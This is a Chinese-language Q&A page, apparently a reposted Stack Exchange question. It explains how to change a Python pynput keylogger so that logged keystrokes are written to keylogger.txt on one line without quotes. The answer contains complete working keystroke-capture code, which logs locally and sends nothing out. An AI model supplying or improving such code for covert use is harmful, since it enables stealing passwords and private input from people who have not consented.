You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何移除按键记录器变量引号并将多行内容合并为一行?

解决方法

要实现输入内容单行无引号输出,你需要调整字符提取方式和写入逻辑,修改后的代码如下:

from pynput.keyboard import Key, Listener

# 定义日志文件路径
log_file = "keylogger.txt"

def on_press(key):
    try:
        # 获取按键对应的纯字符,不带引号
        char = key.char
        # 以追加模式打开文件,写入字符且不换行
        with open(log_file, "a", encoding="utf-8") as f:
            f.write(char)
    except AttributeError:
        # 处理特殊按键,比如回车、空格、退格等
        if key == Key.space:
            with open(log_file, "a", encoding="utf-8") as f:
                f.write(" ")
        elif key == Key.enter:
            with open(log_file, "a", encoding="utf-8") as f:
                f.write("\n")
        # 其他特殊按键可根据需求添加,比如退格Key.backspace

with Listener(on_press=on_press) as listener:
    listener.join()

修改说明:

  • 替换日志模块:原来的logging.info会自动给每条日志加换行,改用直接文件写入可以控制换行逻辑
  • 提取纯字符:用key.char获取按键的原始字符,避免str(key)带来的引号和格式包裹
  • 特殊按键处理:通过AttributeError捕获非字符类按键(比如空格、回车),按需写入对应符号

这样输入"Hello"后,keylogger.txt里就会直接显示一行Hello,没有引号。

内容的提问来源于stack exchange,提问作者w1ndnd

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.26 12:03:01